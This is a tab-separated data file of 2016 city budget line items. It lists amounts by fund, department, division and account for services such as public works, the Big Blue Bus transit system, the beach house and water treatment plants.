21362	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2016	3666	0	0	0	0	0	0	0	0	0	0	0	3666
21363	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	609471	0	0	0	0	0	0	0	0	0	0	0	609471
21364	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	14204	0	0	0	0	0	0	0	0	0	0	0	14204
21365	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21366	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	533010.0	PERSONAL PROTECTIVE EQUIPMENT	806.0	 Supplies and Expenses	2016	46704	0	0	0	0	0	0	0	0	0	0	0	46704
21367	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2016	184445	0	0	0	0	0	0	0	0	0	0	0	184445
21368	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2016	510	0	0	0	0	0	0	0	0	0	0	0	510
21369	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	570060.0	CITYWIDE MAINTENANCE	820.0	 Supplies and Expenses	2016	-119930	0	0	0	0	0	0	0	0	0	0	0	-119930
21370	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
21371	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544910.0	TRANSIT STORE EXPENSES	866.0	 Supplies and Expenses	2016	1817	0	0	0	0	0	0	0	0	0	0	0	1817
21372	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	11600	0	0	0	0	0	0	0	0	0	0	0	11600
21373	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	4300	0	0	0	0	0	0	0	0	0	0	0	4300
21374	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2016	72763	0	0	0	0	0	0	0	0	0	0	0	72763
21375	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2016	485479	0	0	0	0	0	0	0	0	0	0	0	485479
21376	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544012.0	MEMBRANE REPLACEMENT	808.0	 Supplies and Expenses	2016	282372	0	0	0	0	0	0	0	0	0	0	0	282372
21377	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403660.0	LIBRARY NON-RESIDENT FEE	612.0	Charges for Service	2016	-150000	0	0	0	0	0	0	0	0	0	0	0	-150000
21378	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	5990	0	0	0	0	0	0	0	0	0	0	0	5990
21379	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2016	56022	0	0	0	0	0	0	0	0	0	0	0	56022
21380	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	35000	0	0	0	0	0	0	0	0	0	0	0	35000
21381	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2016	13713	0	0	0	0	0	0	0	0	0	0	0	13713
21382	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
21383	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	195000	0	0	0	0	0	0	0	0	0	0	0	195000
21384	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	3000	0	0	0	0	0	0	0	0	0	0	0	3000
21385	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	560075	0	0	0	0	0	0	0	0	0	0	0	560075
21386	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2016	76374	0	0	0	0	0	0	0	0	0	0	0	76374
21387	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2016	219457	0	0	0	0	0	0	0	0	0	0	0	219457
21388	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2016	3927	0	0	0	0	0	0	0	0	0	0	0	3927
21389	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2016	15708	0	0	0	0	0	0	0	0	0	0	0	15708
21390	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2016	-148400	0	0	0	0	0	0	0	0	0	0	0	-148400
21391	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	701414	0	0	0	0	0	0	0	0	0	0	0	701414
21392	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2016	7636	0	0	0	0	0	0	0	0	0	0	0	7636
21393	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
21394	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545020.0	CULTURAL PROGRAMMING	810.0	 Supplies and Expenses	2016	100000	0	0	0	0	0	0	0	0	0	0	0	100000
21395	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555200.0	REIMBURSE ENGINEERING OFFICE	810.0	 Supplies and Expenses	2016	12000	0	0	0	0	0	0	0	0	0	0	0	12000
21396	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2016	135000	0	0	0	0	0	0	0	0	0	0	0	135000
21397	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2016	15329	0	0	0	0	0	0	0	0	0	0	0	15329
21398	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		UNEMPLOYMENT	804.0	Salaries and Wages	2016	3708	0	0	0	0	0	0	0	0	0	0	0	3708
21399	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2016	1361	0	0	0	0	0	0	0	0	0	0	0	1361
21400	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2016	88800	0	0	0	0	0	0	0	0	0	0	0	88800
21401	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
21402	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545030.0	CULTURAL SUPPLIES	810.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
21403	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2016	1064	0	0	0	0	0	0	0	0	0	0	0	1064
21404	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	8650	0	0	0	0	0	0	0	0	0	0	0	8650
21405	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577500.0	TRANSFERS FROM / TO FUND	810.0	 Supplies and Expenses	2016	126001	0	0	0	0	0	0	0	0	0	0	0	126001
21406	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	186926	0	0	0	0	0	0	0	0	0	0	0	186926
21407	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	1344	0	0	0	0	0	0	0	0	0	0	0	1344
21408	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2016	-52000	0	0	0	0	0	0	0	0	0	0	0	-52000
21409	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2016	-84000	0	0	0	0	0	0	0	0	0	0	0	-84000
21410	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	146335	0	0	0	0	0	0	0	0	0	0	0	146335
21411	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	3770	0	0	0	0	0	0	0	0	0	0	0	3770
21412	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21413	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DCAP	804.0	Salaries and Wages	2016	677	0	0	0	0	0	0	0	0	0	0	0	677
21414	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	2872	0	0	0	0	0	0	0	0	0	0	0	2872
21415	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	400	0	0	0	0	0	0	0	0	0	0	0	400
21416	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
21417	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2016	5667	0	0	0	0	0	0	0	0	0	0	0	5667
21418	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2016	128498	0	0	0	0	0	0	0	0	0	0	0	128498
21419	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2016	3600	0	0	0	0	0	0	0	0	0	0	0	3600
21420	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2016	3000	0	0	0	0	0	0	0	0	0	0	0	3000
21421	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
21422	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	820.0	Salaries and Wages	2016	7800	0	0	0	0	0	0	0	0	0	0	0	7800
21423	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	2004	0	0	0	0	0	0	0	0	0	0	0	2004
21424	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	110192	0	0	0	0	0	0	0	0	0	0	0	110192
21425	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	840692	0	0	0	0	0	0	0	0	0	0	0	840692
21426	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2016	127095	0	0	0	0	0	0	0	0	0	0	0	127095
21427	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2016	53807	0	0	0	0	0	0	0	0	0	0	0	53807
21428	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2016	-138091	0	0	0	0	0	0	0	0	0	0	0	-138091
21429	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	1176	0	0	0	0	0	0	0	0	0	0	0	1176
21430	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2016	110040	0	0	0	0	0	0	0	0	0	0	0	110040
21431	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555015.0	OUTSIDE REPAIRS - BLDG MAINT		 Supplies and Expenses	2016	284137	0	0	0	0	0	0	0	0	0	0	0	284137
21432	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2016	2970	0	0	0	0	0	0	0	0	0	0	0	2970
21433	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2016	-8300	0	0	0	0	0	0	0	0	0	0	0	-8300
21434	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2016	-690750	0	0	0	0	0	0	0	0	0	0	0	-690750
21435	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2016	-500	0	0	0	0	0	0	0	0	0	0	0	-500
21436	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	242548	0	0	0	0	0	0	0	0	0	0	0	242548
21437	BA	IS	54	Vehicle Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21438	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21439	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21440	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	9800	0	0	0	0	0	0	0	0	0	0	0	9800
21441	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	15800	0	0	0	0	0	0	0	0	0	0	0	15800
21442	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-4143	0	0	0	0	0	0	0	0	0	0	0	-4143
21443	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	88770	0	0	0	0	0	0	0	0	0	0	0	88770
21444	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402830.0	CITY YARDS CONV FUEL STN REPL	650.0	Charges for Service	2016	-75000	0	0	0	0	0	0	0	0	0	0	0	-75000
21445	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2016	120698	0	0	0	0	0	0	0	0	0	0	0	120698
21446	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	10480	0	0	0	0	0	0	0	0	0	0	0	10480
21447	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-7026	0	0	0	0	0	0	0	0	0	0	0	-7026
21448	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	80873	0	0	0	0	0	0	0	0	0	0	0	80873
21449	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	2001	0	0	0	0	0	0	0	0	0	0	0	2001
21450	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	13700	0	0	0	0	0	0	0	0	0	0	0	13700
21451	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577351.0	HOME VOUCHERS	816.0	 Supplies and Expenses	2016	471792	0	0	0	0	0	0	0	0	0	0	0	471792
21452	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2016	1838	0	0	0	0	0	0	0	0	0	0	0	1838
21453	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522110.0	UTIL - LIGHT / POWER	804.0	 Supplies and Expenses	2016	25462	0	0	0	0	0	0	0	0	0	0	0	25462
21454	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2016	-13850	0	0	0	0	0	0	0	0	0	0	0	-13850
21455	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2016	10727	0	0	0	0	0	0	0	0	0	0	0	10727
21456	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	16570	0	0	0	0	0	0	0	0	0	0	0	16570
21457	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2016	5081	0	0	0	0	0	0	0	0	0	0	0	5081
21458	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	810.0	 Supplies and Expenses	2016	12200	0	0	0	0	0	0	0	0	0	0	0	12200
21459	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	96900	0	0	0	0	0	0	0	0	0	0	0	96900
21460	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2016	2750	0	0	0	0	0	0	0	0	0	0	0	2750
21461	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2016	1558	0	0	0	0	0	0	0	0	0	0	0	1558
21462	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	13260	0	0	0	0	0	0	0	0	0	0	0	13260
21463	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	770	0	0	0	0	0	0	0	0	0	0	0	770
21464	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	804.0	Salaries and Wages	2016	298	0	0	0	0	0	0	0	0	0	0	0	298
21465	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561117.0	ST JOSEPH CENTER HPSHP-PROP A	808.0	 Supplies and Expenses	2016	8180	0	0	0	0	0	0	0	0	0	0	0	8180
21466	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-DISBLD (SMARS)	808.0	 Supplies and Expenses	2016	30000	0	0	0	0	0	0	0	0	0	0	0	30000
21467	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	606	0	0	0	0	0	0	0	0	0	0	0	606
21468	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	804.0	Salaries and Wages	2016	2645	0	0	0	0	0	0	0	0	0	0	0	2645
21469	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	39590	0	0	0	0	0	0	0	0	0	0	0	39590
21470	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561115.0	OPCC SAFE HAVEN-PROP A	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21471	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561116.0	OPCC INTERIM HSG&WELLNS-PROP A	808.0	 Supplies and Expenses	2016	8350	0	0	0	0	0	0	0	0	0	0	0	8350
21472	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		ST JOSEPH CENTER FSS - PROP A	808.0	 Supplies and Expenses	2016	7081	0	0	0	0	0	0	0	0	0	0	0	7081
21473	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2016	72	0	0	0	0	0	0	0	0	0	0	0	72
21474	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21475	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	2599	0	0	0	0	0	0	0	0	0	0	0	2599
21476	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21477	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	250916	0	0	0	0	0	0	0	0	0	0	0	250916
21478	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2016	3902	0	0	0	0	0	0	0	0	0	0	0	3902
21479	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2016	70200	0	0	0	0	0	0	0	0	0	0	0	70200
21480	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555011.0	CONT SERV/PLANT REPLACE/MIS SE	810.0	 Supplies and Expenses	2016	30600	0	0	0	0	0	0	0	0	0	0	0	30600
21481	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533214.0	FAC MAINT-REPAIRS-HIST SAVINGS	810.0	 Supplies and Expenses	2016	126000	0	0	0	0	0	0	0	0	0	0	0	126000
21482	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2016	3440	0	0	0	0	0	0	0	0	0	0	0	3440
21483	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2016	4100	0	0	0	0	0	0	0	0	0	0	0	4100
21484	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522620.0	RENT	804.0	 Supplies and Expenses	2016	247972	0	0	0	0	0	0	0	0	0	0	0	247972
21485	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21486	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533220.0	BUILDING / STRUCTURE MAINT	804.0	 Supplies and Expenses	2016	18870	0	0	0	0	0	0	0	0	0	0	0	18870
21487	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	29	0	0	0	0	0	0	0	0	0	0	0	29
